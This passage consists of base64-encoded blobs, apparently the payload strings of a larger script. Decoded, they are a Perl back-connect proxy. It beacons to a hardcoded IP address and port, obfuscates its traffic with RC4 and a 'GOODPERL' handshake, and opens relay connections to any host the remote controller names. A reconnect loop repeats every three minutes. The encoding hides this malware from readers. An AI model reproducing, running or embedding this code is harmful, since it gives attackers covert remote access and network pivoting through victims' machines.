XRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQk